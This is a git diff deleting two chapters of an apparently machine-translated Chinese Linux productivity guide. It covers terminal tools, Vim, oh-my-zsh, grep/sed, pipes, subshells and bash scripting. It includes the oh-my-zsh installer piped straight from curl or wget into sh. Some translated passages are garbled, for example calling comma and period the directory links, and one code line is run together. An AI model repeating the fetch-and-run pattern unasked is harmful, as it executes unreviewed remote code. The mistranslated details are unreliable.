资源库(位于此处:[https://github.com/petruisfan/linux-for-developers](https://github.com/petruisfan/linux-for-developers))下载所有源文件。 - -![Are you ready?](img/image_01_001.jpg) - -# 终结者——终极终端 - -为了变得高效,你需要做的第一件事就是拥有一个好的终端。在整本书中,我们将主要使用命令行,这意味着我们将使用的主要软件是我们的终端。我们推荐的一款很棒的终端是**终结者**,可以从软件中心安装。 - -让我们去我们的启动器,点击软件中心图标。打开后,点击搜索输入,写出`terminator,`,如下图截图所示。它可能会是结果列表中的第一个。点击**安装**。 - -![Terminator – the ultimate terminal](img/image_01_002.jpg) - -安装完终结者后,把它的图标拖到启动器上是个好主意。为此,你只需点击打开破折号,写下`terminator`并将其图标拖放到启动器中: - -![Terminator – the ultimate terminal](img/image_01_003.jpg) - -好了,现在让我们点击图标开始。你可以最大化窗户,以便有更多的空间玩耍。 - -## 首选项菜单 - -这是一个定制终端,在这里可以找到字体样式和其他工具形式的惊喜。您现在看到的是默认设置。让我们进入首选项菜单,看看我们可以更新什么。首先,让我们隐藏标题栏,因为它没有给我们那么多信息,拥有尽可能多的空闲屏幕空间(以及尽可能少的干扰)总是一个好主意。 - -现在让我们看看其他一些偏好: - -1. Let's change the font. We will make it a bit larger than usual so that it is easy to read. Let's go with Monospace 16, as shown in the following screenshot: - - ![Preferences menu](img/image_01_004.jpg) - -2. We also want to have good contrast so that it's easy to distinguish the letters. And for this, we will choose a black on white color theme. - - ![Preferences menu](img/image_01_005.jpg) - -3. It's also a good idea to enable infinite scroll, because you don't want your terminal output to be trimmed after `500` lines. A lot of the time, you just want to scroll and see the previous output. Also, while scrolling, if there is a lot of text, you probably don't want to be brought back to the bottom of the page, so uncheck the **Scroll on output** option. - - ![Preferences menu](img/image_01_006.jpg) - -瞧啊。这是我们新配置的终端。现在是时候看看我们能用这个**新的**终端做些什么了。*功能*部分来了! - -## 特征 - -现在是时候看看终结者的一些有用功能和键盘快捷键了。这就是正常的终结者界面的样子: - -![Features](img/image_01_010.jpg) - -现在让我们一起来玩一下: - -* Split screen: *Ctrl* + *Shift* + *O* for a horizontal split: - - ![Features](img/image_01_011.jpg) - -* *Ctrl* + *Shift* + *E* for a vertical split: - - ![Features](img/image_01_012.jpg) - -这可能是终结者最酷的功能,也是我们最常用的功能,因为它真的有助于看到多个窗格并在它们之间轻松切换。你可以任意多次分割屏幕,任意组合。 - -调整屏幕大小: *Ctrl* + *Shift* + *箭头*或者直接拖放: - -![Features](img/image_01_013.jpg) - -* 使用 *Ctrl* + *Shift* + *箭头*轻松在窗口之间移动。 -* 使用*Ctrl*+*Shift*+*W*或 *Ctrl* + *D* 关闭屏幕。 -* Create tabs with *Ctrl* + *Shift* + *T*. This is for when you don't have any more space to split the screen: - - ![Features](img/image_01_014.jpg) - -* Text zoom: *Ctrl* *+* *+* and *Ctrl* *+* *-* — useful for when you need to present or when you have a person with a bad eyesight: - - ![Features](img/image_01_015.jpg) - -能够分割屏幕以便将终端排列在网格中,并且能够使用键盘快捷键分割、切换窗格和调整窗格大小,这是 Terminator 最大的优势。很多人没有意识到的一大生产力杀手是在使用鼠标和使用键盘之间切换。虽然大多数人更喜欢使用鼠标,但我们建议尽可能多地使用键盘,并学习您最常用的计算机程序的键盘快捷键。 - -高效最终意味着有更多的时间专注于真正重要的事情,而不是浪费时间费力使用电脑。 - -到终端视图!欢迎终结器! - -# 瓜克——不是地震! - -终结器适用于各种任务,尤其是在处理多个项目的长时间会话时。但是,有时会出现需要快速访问终端以便长时间运行命令、检查状态或在前台运行任务的场景——所有这些都不需要打开太多选项卡。瓜克在这种情况下非常出色。这是一个方便易用的终端,您可以通过按下 *F12* 在现有窗口之上的任何工作区打开。 - -我们现在将使用一个简单的命令行安装它。如下图,打开终端,输入`sudo apt install guake`: - -![Guake – not Quake!](img/image_01_016.jpg) - -### 注 - -`apt`是 Ubuntu 在 16.04 版本中推出的新包管理器,意在成为更易于使用的`apt-get`命令版本,并增加了一些亮眼的内容。 - -既然安装了 Guake,我们就去 dash 打开它。为此,我们只需按下 *F12* 。一旦它开始运行,你可以在屏幕的右上角看到通知。它应该是这样的: - -![Guake – not Quake!](img/image_01_017.jpg) - -就像终结者一样,我们会检查它的偏好。首先,转到 shell,启用**在当前目录**中打开新标签页: - -![Guake – not Quake!](img/image_01_018.jpg) - -我相信你能猜到这是怎么回事。然后,滚动并插入一个很大的数字,比如 99,999。此外,确保输出上的**滚动** | **未选中:** - -![Guake – not Quake!](img/image_01_019.jpg) - -再次,我们将默认字体更改为`Monospace 16`,将**光标闪烁模式**设置为关闭,点击**关闭**: - -![Guake – not Quake!](img/image_01_020.jpg) - -我们可以通过点击 *F11* 来全屏使用 Guake,也可以通过拖动边距来调整大小。如果你想要,你可以使用默认设置来看看什么最适合你。 - -当 Ubuntu 重新启动时,Guake 不会自动启动,因此我们必须将其添加到我们的启动应用中。为此,再次打开 dash,键入启动应用,然后单击添加。只需在所有三个字段中键入 Guake,添加,然后关闭。 - -让它如此方便的是,您可以随时在当前窗口上打开它,快速键入命令,并在稍后再次打开它来检查命令的状态。 - -### 类型 - -我们实际上做的是让它变得透明一点,这样当它在一个写有一些命令的网页上打开时,我们仍然可以阅读网页上的内容,并在阅读时键入命令,而无需切换窗口。又一个令人敬畏的生产力提示! - -# 剪辑–复制粘贴到最佳状态 - -我们认为人类最伟大的发明之一是复制粘贴。从某个随机的地方取出一段文字并将其插入另一个不那么随机的地方的能力是一个巨大的时间节省!如果计算机没有这个功能,人类仍然会落后很多年!想象一下,你必须键入你阅读的每一个小命令,每一个网址,每一段代码!那将是对时间的巨大浪费!因此,作为如此重要的功能,复制粘贴值得拥有自己的工具来管理您复制的所有重要文本。这些类型的工具称为剪贴板管理器。每个操作系统都有很多选择,一个好的免费的 Ubuntu 叫做`clipIt`。打开端子,键入`sudo apt install clipit`安装。 - -![ClipIt – copy-paste at its finest](img/image_01_021.jpg) - -使用 Guake 的一个很好的场景是在其中运行`ClipIt`。默认情况下,`ClipIt`占据一个终端窗口,但是在 Guake 的帮助下,我们只是把它藏起来了! - -![ClipIt – copy-paste at its finest](img/image_01_022.jpg) - -该工具会自动添加到启动应用中,因此它将在您下次重新启动时启动。 - -要调用`ClipIt`,点击*Ctrl*+*Alt*+*H*或点击菜单栏中的剪贴板图像。 - -![ClipIt – copy-paste at its finest](img/image_01_023.jpg) - -第一次启动时,它会警告您它以纯文本形式存储数据,因此如果其他用户使用您的帐户,使用起来可能不安全。目前,它只包含最新的剪贴板元素。 - -让我们快速举例说明它的用法。 - -我们`cat`的内容。`profile`文件。假设我们想要复制一些文本行,并在另一个终端上运行它们,如下所示: - -![ClipIt – copy-paste at its finest](img/image_01_024.jpg) - -例如,我们可能希望更新路径变量,然后获取`.bashrc`文件并再次更新路径变量。我们只需点击*Ctrl*+*Alt*+*H*并从剪贴板历史中选择我们想要粘贴的内容,而不是从我们的文件中再次复制内容: - -![ClipIt – copy-paste at its finest](img/image_01_025.jpg) - -这是一个非常基本的例子。`ClipIt`当你长时间在电脑上工作,需要粘贴几个小时前从网站上复制的东西时,大多会派上用场。它带有 50 个项目的默认历史大小,它会在你的浮动窗口中显示最后 10 个项目。您可以在设置中增加这些限制: - -![ClipIt – copy-paste at its finest](img/image_01_026.jpg) - -有了`ClipIt`,你可以在不丢失任何数据的情况下任意多次复制粘贴。它就像你剪贴板的时光机! \ No newline at end of file diff --git a/docs/work-with-linux/2.md b/docs/work-with-linux/2.md deleted file mode 100644 index 9e70b783..00000000 --- a/docs/work-with-linux/2.md +++ /dev/null @@ -1,743 +0,0 @@ -# 二、高效 Shell——重塑你的工作方式 - -在本章中,我们将从 Vim 的简短介绍开始,并查看最基本的命令来帮助您开始基本的 CRUD(创建、读取、更新、删除)操作。然后,我们将把 shell 解释器升级到 zsh,并通过令人敬畏的`oh-my-zsh`框架赋予它超能力。我们将研究一些基本的正则表达式,例如使用 grep 搜索一些文本。然后,我们将释放 Unix 管道的力量,并使用子 Shell 运行嵌入式命令。本章的后半部分将通过展示一些更高级的 shell 脚本技术来帮助我们理解如何提高工作效率并自动化我们的许多日常工作。 - -在本章中,我们将介绍以下内容: - -* 与 Vim 合作 -* 使用`oh-my-zsh`框架管理 zsh -* 使用管道和子 Shell 编写和运行超级强大的单行命令 -* 探索 shell 脚本库 - -我们将专注于编辑文件。为此,我们需要选择一个文件编辑器。有很多选择,但考虑到编辑文件的最快方法当然是不离开终端。我们推荐 Vim。Vim 是一个很棒的编辑!它有很多配置选项,有一个巨大的社区,产生了很多插件和美丽的主题。它还具有先进的文本编辑功能,这使得它超可配置和超快。 - -所以,让我们继续。打开终结器,键入`sudo apt install vim`安装 Vim: - -![Productive Shells – Reinvent the way you work](img/image_02_001.jpg) - -Vim 以其奇异的键盘控制而闻名,很多人因此而避免使用 Vim。但是一旦你掌握了基本知识,它就非常容易使用。 - -让我们不争论地开始`vim`: - -![Productive Shells – Reinvent the way you work](img/image_02_002.jpg) - -这是默认屏幕;你可以在第二行看到版本。 - -* To start editing text, press the *Insert* key; this will take us to the insert mode, where we can start typing. We can see we are in the insert mode at the bottom of the screen: - - ![Productive Shells – Reinvent the way you work](img/image_02_003.jpg) - -* 再次按下*插入*键,进入替换模式并覆盖文本。 -* 按下 *Esc* 键退出插入或更换。 -* 键入 *yy* 复制一行。 -* 键入 *p* 粘贴线条。 -* 键入 *dd* 以切断线路。 -* Type *:w* to save any changes. Optionally, specify a filename: - - ![Productive Shells – Reinvent the way you work](img/image_02_004.jpg) - -* 要在编辑文本中保存文件,请键入`vim.txt` -* 键入`:q`退出 Vim - -让我们再次打开文件,做一个小小的更改: - -* `:wq`:同时写入和退出 -* `:q!`:不保存退出 - -现在您已经熟悉了这些命令,我们可以直接从命令行进行基本的文件编辑。这是任何人在使用 Vim 时需要知道的最起码的知识,我们将在接下来的章节中使用这些知识。 - -我们还将有一整节关于 Vim 的内容,我们将在今天最酷的终端编辑器中详细介绍如何提高效率! - -# 哦,我的天,你的终端从来没有感觉这么好! - -Bash 可能是最常用的 Shell。它有很多特性和强大的脚本功能,但是在用户交互方面,`zsh`更好。它的大部分力量来自令人敬畏的框架`oh-my-zsh`。在本节中,我们将安装`zsh`。 - -让我们从`oh-my-zsh`框架开始,我们将了解一些基本配置选项: - -* Open the terminator and type `sudo apt install zsh` to install `zsh`, as shown in the following image: - - ![Oh-my-zsh – your terminal never felt this good before!](img/image_02_005.jpg) - -安装完成后,转到此链接,[https://github.com/robbyrussell/oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh,),按照说明安装`oh-my-zsh`框架。安装过程是用`curl`或`wget`的一行命令。让我们逐一使用这两个命令来安装它: - -**通过卷曲:** - -```sh -sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" - -``` - -**通过 wget:** - -```sh -sh -c "$(wget https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh -O -)" - -``` - -你会看到命令给出了一个错误,说`git`没有安装,所以我们也需要安装。以下命令行用于安装 git: - -```sh -sudo apt install git - -``` - -![Oh-my-zsh – your terminal never felt this good before!](img/image_02_006.jpg) - -注意在 Ubuntu 中安装软件是多么容易。这也是生产力的一大助推器;我们可能需要的每一个通用软件包都已经预先打包在远程软件仓库中,只需要一个命令就可以将新软件添加到我们的计算机中。 - -现在我们已经安装了`git`,让我们再次运行命令。我们可以看到,这一次它成功地发挥了作用,并为我们带来了新的 Shell。`Oh-my-zsh`也将默认 Shell 改为`zsh`。 - -安装后,首先要做的是去选择一个主题。要查看所有可用的主题,请运行以下命令: - -```sh -ls ~/.oh-my-zsh/themes - -``` - -![Oh-my-zsh – your terminal never felt this good before!](img/image_02_007.jpg) - -### 注 - -你也可以去`git`回购看看主题,连同他们的截图。我们将使用 *candy* 主题,因为它在提示中有很多有用的信息: *username* 、 *hostname* 、 *time* 、*文件夹*和 *git* 分支/ *git* 状态。 - -时间可能非常有用,例如,如果您想知道一个命令执行了多长时间,并且没有使用 *time* 实用程序来测量命令的总运行时间。然后,你可以查看提示,看看命令开始的时间和知道命令完成的提示,这样你就可以计算出总时间了。 - -要更改主题,`open ~/.zshrc`并修改`ZSH_THEME`变量。保存文件并打开一个新的终端窗口。让我们初始化一个空的`git`目录,这样我们就可以看到提示的样子。你可以看到我们在主分支: - -![Oh-my-zsh – your terminal never felt this good before!](img/image_02_008.jpg) - -让我们创建一个文件,比如`readme.md`。提示中的`*`显示目录不干净。我们可以用`git status`命令来验证这一点: - -![Oh-my-zsh – your terminal never felt this good before!](img/image_02_009.jpg) - -你可以看到它是如何被验证的。我们清理完目录后,`*`就没了。如果我们改变分支,提示显示我们在新的分支上。 - -让我们快速创建一个演示。在您的终端上运行以下命令: - -```sh -git branch test -git checkout test -``` - -![Oh-my-zsh – your terminal never felt this good before!](img/image_02_010.jpg) - -现在,您可以在提示中看到分支名称,还有一些其他很酷的功能,您可能想探索一下: - -* **Command completion**: Start typing, for example, ip, and press *Tab*. We can see all the commands that start with IP and we can hit *Tab* again to start navigating through the different options. You can use the arrow keys to navigate and hit *Enter* for the desired command: - - ![Oh-my-zsh – your terminal never felt this good before!](img/image_02_011.jpg) - -* **Params completion**: For example type `ls -` and press *Tab*, and we can see here all the options and a short description for each. Press *Tab* again to start navigating through them and *Enter* to select. - - ![Oh-my-zsh – your terminal never felt this good before!](img/image_02_012.jpg) - -* **历史导航**:点击向上箭头键搜索历史,按光标前写的字符串过滤。例如,如果我键入`vim`并按下向上箭头键,我可以看到历史中所有用 Vim 打开的文件。 -* **历史搜索**:按 *Ctrl* + *R* 开始打字,再次按 *Ctrl* + *R* 搜索历史中的同一次发生。例如 *~* , *Ctrl* + *R* 查看字符串中有 *~* 的所有命令。 -* **导航**:这里按 *Ctrl* +左右箭头跳一个字, *Ctrl* + *W* 删除一个字,或者 *Ctrl* + *U* 删除整行。 -* **cd 补全不区分大小写**:比如`cd doc`会扩展成`cd Documents`。 -* **光盘目录完成**:如果你很懒,想在一个路径中只指定几个关键字母,我们也可以这样做。比如`cd /us/sh/zs` + *Tab* 会展开成`cd /usr/share/zsh`。 -* **击杀完成:**只需输入`kill`*Tab*即可看到`pids`击杀列表。从那里你可以选择杀死哪个进程。 -* **chown completion** :键入`chown`并点击标签查看要更改所有者的用户列表。这同样适用于团体。 -* **参数扩展**:键入`ls *`,点击*选项卡*。您会看到`*`扩展到当前目录中的所有文件和文件夹。对于子集,键入`ls Do*`并按下*选项卡*。它只会扩展到文档和下载。 -* **Adds lots of aliases:** Just type alias to see a full list. Some very useful ones are: - - ```sh - .. - go up one folder - … - go up two folders - - - cd o the last directory - ll - ls with -lh - ``` - - ![Oh-my-zsh – your terminal never felt this good before!](img/image_02_013.jpg) - -要查看快捷方式列表,运行`bindkey`命令。终端是你会花很多时间的地方之一,所以掌握我们的 Shell 并尽可能高效地使用它真的很重要。知道好的捷径,查看相关的浓缩信息,比如我们的提示,可以让我们的工作轻松很多。 - -# 基本正则表达式 - -*你有问题想用正则表达式解决?现在你有两个问题!*这只是网络上众多正则表达式段子之一。 - -在本节中,您将学习正则表达式是如何工作的,因为我们将在接下来的章节中使用它们。我们已经为我们的游乐场准备了一个文件,如果你想自己尝试 grep 命令,你可以从 GitHub 存储库中获取它。 - -让我们从打开文本文件开始,这样我们就可以看到它的内容,然后分割屏幕,这样我们就可以并排看到文件和命令。 - -首先,最简单,也可能是最常见的正则表达式是找到一个单词。 - -为此,我们将使用`grep "joe" file.txt`命令: - -![Basic regular expressions](img/image_02_014.jpg) - -`joe`是我们正在搜索的字符串,`file.txt`是我们执行搜索的文件。您可以看到 grep 打印了包含我们的字符串的行,并且该单词用另一种颜色突出显示。这将只匹配单词的确切大小写(因此,如果我们使用小写`j`,这个正则表达式将不再工作)。要进行不区分大小写的搜索,`grep`有一个`-i`选项。这意味着 grep 将打印包含我们单词的行,即使单词在不同的情况下,如 JoE、JOE、joE 等等: - -```sh -grep -i "joe" file.txt -``` - -![Basic regular expressions](img/image_02_015.jpg) - -如果我们不知道我们的字符串中到底有哪些字符,我们可以使用`.*`来匹配任意数量的字符。例如,要找到以“单词”开头、以“天”结尾的句子,我们可以使用`grep "word.*day" file.txt`命令: - -* `.` -匹配任何字符 -* `*` -多次匹配前一个字符 - -在这里,您可以看到它与文件中的第一行匹配。 - -一个非常常见的场景是在文件中查找空行。为此,我们使用`grep "^\s$" file.txt`命令: - -* 其中`\s`:这代表空间, -* `^`:是为了台词的开头。 -* `$`:是为了它的结局。 - -我们有两条没有空格的空行。如果我们在行之间添加一个空格,它将匹配包含一个空格的行。这些被称为**锚**。 - -`grep`可以做一个整齐的小把戏来数火柴的数量。为此,我们使用`-c`参数: - -![Basic regular expressions](img/image_02_016.jpg) - -要查找所有只有字母和空格的行,请使用: - -* `grep` -* `""`:开放报价 -* `^$`:从头到尾 -* `[]*`:匹配这些字符任意多次 -* `A-Za-z`:任意大小写字母 - -如果我们运行命令到这里,我们只得到第一行。如果我们加上: - -* - 0-9 我们匹配另外两行的任何数字, -* 如果我们添加任何空格,我们也会匹配空行和所有大写的行 -* 如果我们在这里运行命令,我们只得到输出的第一行,其余的不显示 -* 然后,如果我们添加 0-9,我们匹配任何数字(因此前两行匹配) -* And if we add \s we match any type of space (so the empty lines are matched as well) - - ```sh - grep "^[A-Za-z0-9\s]*$" file.txt - - ``` - - ![Basic regular expressions](img/image_02_017.jpg) - -有时我们需要搜索字符串中没有的东西: - -```sh -grep "^[^0-9]*$" file.txt - -``` - -该命令将查找所有不只有数字字符的行。`[^]`表示匹配所有不在里面的字符,在我们的例子中,任何非数字。 - -方括号是我们正则表达式中的标记。如果我们想在搜索字符串中使用它们,我们必须逃离它们。因此,为了找到方括号中包含内容的行,请执行以下操作: - -```sh -grep "\[.*\]" file.txt - -``` - -这适用于方括号中包含字符的任何行。要查找具有这些字符`!`的所有行,请键入以下内容: - -```sh -grep "\!" file.txt - -``` - -现在让我们来看一个基本的`sed,`让我们找到`Joe`字并用`All`字替换: - -```sh -sed "s/Joe/All/g" file.txt - -``` - -![Basic regular expressions](img/image_02_018.jpg) - -这将用字符串`All`替换字符串`Joe`的每次出现。在接下来的章节中,我们将深入探讨这一点。 - -正则表达式,比如 Vim,是很多人害怕的东西之一,因为一开始学起来似乎很复杂。尽管正则表达式看起来很神秘,但一旦掌握了它,它就成了方便的伙伴:它们并不局限于我们的 shell,因为在大多数编程语言、数据库、编辑器以及包括搜索字符串在内的任何其他地方,语法都非常相似。在接下来的章节中,我们将更详细地讨论正则表达式。 - -# 水管和地下管道——你的贝壳是盐和胡椒 - -在本节中,我们将探讨如何使用 shell 提高您的工作效率。Linux 命令行很棒,因为它有我们可以使用的各种工具。更伟大的是,我们可以将这些工具链接在一起,形成更强大的工具,让我们更有效率。我们将不进入基本的 shell 命令;取而代之的是,我们将会看到一些可以让我们的生活变得更轻松的酷管道和地下组合。 - -让我们从一个基本管道开始;在本例中,我们使用以下命令计算当前路径的长度: - -```sh -pwd | wc -c - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_019.jpg) - -`pwd,`你可能知道,代表`print working directory`。`|`是管道符号,它的作用是将左边命令的输出发送到右边命令。在我们的例子中,`pwd`正在将其输出发送到`wc -c`,后者计算字符数。管道最酷的一点是,你可以创建任意数量管道的链。 - -让我们看另一个例子,我们将看到如何找到驱动器上的已用空间: - -```sh -df -h | grep /home | tr -s " " | cut -f 2 -d " " - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_020.jpg) - -* `"df -h"`:以人类可读的格式显示磁盘使用情况 -* `"| grep /home"`:这里只显示主目录 -* `'| tr -s " "'`:这将多个空格替换为一个空格 -* `'| cut -f 2 -d " "'`:这将使用空格作为分隔符来选择第二列 - -可以看到,这个命令打印出了`173G`,这个`/home`分区的大小。这是一个常见的用例当链接多个命令时,每个命令都会减少输出,直到我们得到想要的信息,其他什么都没有。在我们的例子中,这是已用的磁盘空间。 - -要计算文件夹中所有目录的数量,请使用以下命令: - -```sh -ls -p | grep / | wc -l - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_021.jpg) - -基本思路是统计所有以`/`结尾的行。这里我们可以看到我们只有一个目录。 - -管道是发现和终止流程的一个很好的选择。假设我们要找到`nautilus`的进程 ID,以及`kill all`的运行实例。为此,我们使用: - -```sh -ps aux | grep nautilus | grep -v grep | awk '{print $2}' | xargs kill - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_022.jpg) - -* `ps aux`:这会打印所有带 PID 的进程 -* `| grep nautilus`:找到匹配鹦鹉螺的 -* `| grep -v grep`:反转`grep`排除`grep`进程 -* `| awk '{print $2}'`:选择行中的第二个字,即 PID -* `| xargs kill`:这里`xargs`用于将每个 PID 分配给一个杀死命令。它特别用于不从标准输入中读取参数的命令。 - -现在我们已经杀死了`nautilus`。这纯粹是一个说明性的例子。还有其他方法可以做到这一点。 - -让我们再次打开`nautilus`并通过点击 *Ctrl* + *Z* 然后点击`bg`命令将其发送到后台。 - -现在让我们运行以下命令: - -```sh -pgrep nautilus - -``` - -要查看`nautilus`的所有`pids`并向所有这些进程发送终止信号,请使用以下命令行: - -```sh -pkill nautilus - -``` - -现在是时候建立一些关系网了!您可能知道`ifconfig`命令,该命令用于打印关于网络接口的信息。要获取特定接口(在我们的例子中是无线接口`wlp3s0`)的 IP 地址,请运行以下命令: - -```sh -ifconfig wlp3s0 | grep "inet addr:" | awk '{print $2}' | cut -f 2 -d ":" - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_023.jpg) - -* `ifconfig wlp3s0`:打印`wlp3s0`界面的联网信息 -* `| grep "inet addr:"`:获取带有 IP 地址的线路 -* `| awk '{print $2}'`:选择行中的第二个单词(我们也可以使用 cut) -* `| cut -f 2 -d ":"`:被`":"`拆分,只打印第二个字 - -现在,我们在屏幕上看到你的`private ip`地址。 - -一个可能出现的常见用例是计算文件中的词频。 - -这里我们有一个包含在`lorem.txt`中的标准知识文本。为了获得词频,请使用以下内容: - -```sh -cat lorem.txt | tr " " "\n" | grep -v "^\s*$" | sed "s/[,.]//g" | sort | uniq -c | sort -n - -``` - -![Pipes and subshells – your shell's salt and pepper](img/image_02_024.jpg) - -* `cat lorem.txt` -* `| tr " " "\n"`:将每个空格转换成一个新的行字符 -* `| grep -v "^\s*$"`:消除空行 -* `| sed "s/[,.]//g"`:删除逗号(,)和句号(。)只选择单词 -* `| sort`:按字母顺序排列结果 -* `| uniq -c`:只显示唯一的线条 -* `| sort -n`:按数值排序 - -追加`grep -w id`查找单词 ID 的出现频率,或者`grep -w 4`查看所有出现四次的单词。 - -现在让我们继续我们的第一个子壳例子。子 Shell 可以通过将它们包含在`$()`中,或者使用倒勾( *`* )来编写。背景音通常出现在键盘上的 *Esc* 键下。在我们所有的例子中,我们将使用第一种形式,因为它更容易阅读。 - -我们的第一个示例是列出当前文件夹中的所有文件夹: - -```sh -ls $(ls) - -``` - -`ls`子 Shell 返回当前目录中的文件和文件夹,子 Shell 外部的`ls`将分别列出这些文件和文件夹,显示更多详细信息: - -* 计算当前目录中的所有文件和目录 -* 给定事实,逗号(,)和句点(。)是标记当前目录和父目录的硬链接,我们需要计算所有条目减去这两个 -* This can be done using the `expr $(ls -a | wc -l ) - 2` command: - - ![Pipes and subshells – your shell's salt and pepper](img/image_02_025.jpg) - -在这里,子 shell 将返回条目的数量(在本例中是五个)。我们要找的数字是条目数减去特殊文件夹(“`.`”和“`..`”)。为了进行算术运算,我们使用`expr`命令,如我们的例子所示。 - -请注意,子壳包含一个管道。好的方面是,我们可以以任何方式组合管道和子 Shell,以获得期望的结果。 - -想象一下,管道和子 Shell 就像你的壳的乐高零件。它们远远超出了它的能力,让你接触到无限组合的新可能性。最终,这完全取决于你的想象力和你如何学会运用它们。 - -# 为了乐趣和利润而编写 Shell 脚本 - -管道和子 Shell 是扩展我们 Shell 能力的一种方式。最终的方法是通过编写 shell 脚本。在处理无法用一行命令自动完成的复杂任务时,必须考虑这些场景。 - -好消息是,几乎所有的任务都可以通过使用 shell 脚本来实现自动化。我们将不讨论 Shell 脚本的介绍。相反,我们将考虑一些更高级的用例来编写它们。 - -让我们开始进入 shell 脚本的旅程吧!首先,让我们打开一个名为`script.sh`的文件,分割屏幕,这样我们就可以边写边测试了。每个 shell 都应该以`#!`开头,后面跟着它使用的解释器。这一行叫做**舍邦**。我们将使用 bash 作为我们的默认解释器。 - -使用 bash 是个好主意,因为它是大多数 Linux 发行版和 OS X 都有的通用解释器: - -```sh -#!/bin/bash - -``` - -让我们从一个简单的用例开始:读取传递到命令行的参数。我们将第一个命令行参数`$1`的值赋给一个名为 ARG 的变量,然后将其打印回屏幕: - -```sh -ARG=${1} -echo ${ARG} -``` - -让我们保存我们的脚本,为它分配执行权限,然后用一个参数运行它: - -```sh -./script.sh test - -``` - -![Shell scripting for fun and profit](img/image_02_026.jpg) - -如您所见,价值测试被打印回屏幕。在某些情况下,我们希望为变量分配默认的值。为此,在变量赋值中添加":-",后跟默认值: - -```sh -ARG=${1:-"default value"} - -``` - -现在如果我们重新运行脚本,我们可以看到不传递参数将会`echo default value`。就像管道一样,我们可以将多个默认值分配链接在一起。我们可以定义另一个变量`AUX`,给它赋值`123`,在使用`"default value"`脚本之前,使用相同的语法给 ARG 变量赋值,如下所示: - -```sh -AUX="123" -ARG=${1:-${AUX:-"default value"}} - -``` - -![Shell scripting for fun and profit](img/image_02_027.jpg) - -在这种情况下,ARG 将始终接收 123 作为其默认值。 - -现在让我们看看字符串选择器。要选择子字符串,请使用“:”,加上起始位置加“:”,加上字符数: - -```sh -LINE="some long line of text"echo "${LINE:5:4}" - -``` - -![Shell scripting for fun and profit](img/image_02_028.jpg) - -在我们的例子中,我们将选择四个字符,从第五个字符开始。运行脚本后,我们可以看到屏幕上打印的数值`long`。 - -大多数 shell 脚本设计为从命令行运行,并接收可变数量的参数。为了在不知道参数总数的情况下读取命令行参数,我们将使用`while`语句,该语句使用-z(或不等于 0)条件表达式检查第一个参数是否不为空。在 while 循环中,让我们回显变量的值并运行 shift,它将命令行参数向左移动一个位置: - -```sh -while [[ ! -z ${1} ]]; do -echo ${1} -shift # shift cli arguments -done - -``` - -![Shell scripting for fun and profit](img/image_02_029.jpg) - -如果我们用参数 *a* *b* *c* 运行我们的脚本,我们可以看到我们的 while 遍历参数,并在单独的一行上打印每个参数。现在让我们扩展命令行界面参数解析器,并添加一个 *case* 语句来解释参数。 - -让我们假设我们的脚本将有一个帮助选项。Posix 标准建议用`--`做一个长参数版本,只用一个`-`做一个短版本。所以`-h`和`--help`都会打印帮助信息。此外,当用户发送无效选项,然后以非零退出值退出时,建议始终使用默认案例并打印消息: - -```sh -while [[ ! -z ${1} ]]; do - case "$1" in - --help|-h) - echo "This is a help message" - shift - ;; - *) - echo "invalid option" - exit 1 - ;; - esac -done -``` - -![Shell scripting for fun and profit](img/image_02_030.jpg) - -如果我们用-h 运行我们的脚本,我们可以看到帮助消息被打印出来,就像我们使用了`--help`一样。如果我们使用任何其他选项运行脚本,将打印无效的选项文本,并且脚本以退出代码 1 退出。要获取最后一个命令的退出代码,请使用`"$?"`。 - -现在让我们看看 shell 中的基本函数。语法与其他编程语言非常相似。让我们编写一个名为`print_ip`的函数,该函数将打印指定为的接口的 IP 作为第一个参数。我们将使用一个子 Shell,并将值赋给一个名为 IP 的变量。我们的剪贴板中已经有了完整的命令;这和我们在管道课上看到的一样: - -```sh -function print_ip() { - IP=$( - ifconfig ${1} | \ - grep "inet addr:" | \ - awk '{print $2}' | \ - cut -f 2 -d ":" - ) - echo ${IP} -} -``` - -![Shell scripting for fun and profit](img/image_02_031.jpg) - -现在,让我们在 switch 语句中添加另一种情况,用于`-i`或`--ip`选项。该选项后面将跟随接口的名称,然后我们将该名称传递给`print_ip`功能。一个选项有两个参数意味着我们需要调用 shift 命令两次: - -```sh ---ip|-i) - print_ip ${2} - shift - shift - ;; -``` - -让我们做一个`ifconfig`来获得我们的无线接口的名称。我们可以看到它是`wlp3s0`。 - -现在让我们运行: - -```sh -./script.sh --ip wlp3s0 -``` - -我们可以看到 IP 地址。这是一个非常基本的用例,在这里我们可以看到命令行参数是如何传递的。我们可以在 case 语句中添加无限的选项,定义处理参数的函数,甚至可以将多个选项链接在一起,形成复杂的脚本,接收结构良好的信息作为命令行参数。 - -高效意味着更快地完成任务——真的很快!而且说到速度,bash 在脚本解释器方面也不是首选。幸运的是,我们还有一些锦囊妙计!如果一个 shell 脚本需要运行多个独立的任务,我们可以使用 *&* 符号将进程发送到后台并前进到下一个命令。 - -让我们创建两个函数`long_running_task 1`和`2`,并在里面添加一个`sleep`命令,来模拟一个`long_running`任务: - -```sh -function long_running_task_1() { - sleep 1 -} - -function long_running_task_2() { - sleep 2 -} -``` - -第一个长时间运行的任务功能会休眠一秒钟,下一个会休眠两秒钟。 - -然后,出于测试目的,让我们在 switch 语句中添加另一个案例,称为`-p / --`并行,并运行两个长时间运行的任务: - -```sh ---parallel|-p) - long_running_task_1 - long_running_task_2 -``` - -现在,如果我们运行这个: - -```sh -./script.sh -p -``` - -脚本总共需要三秒钟才能完成。我们可以用*时间*工具来测量: - -![Shell scripting for fun and profit](img/image_02_032.jpg) - -如果我们在后台运行这两个函数,我们可以将运行时间减少到这两个函数的最长运行时间(因为等待)。当运行长时间运行的任务时,我们可能希望脚本等待运行时间最长的任务完成,在我们的例子中是任务 2。我们可以通过抓取第二个任务的`pid`来实现。这里`$!`用来抓取最后一个运行命令的`pid`。然后,我们使用内置的等待 shell 来等待执行完成: - -```sh ---parallel|-p) - long_running_task_1 & - long_running_task_2 & - PID=$! - wait ${PID} -``` - -使用 time 实用程序再次运行脚本后,我们可以看到我们总共需要两秒钟来完成任务。 - -谁能想到我们可以在一个 Shell 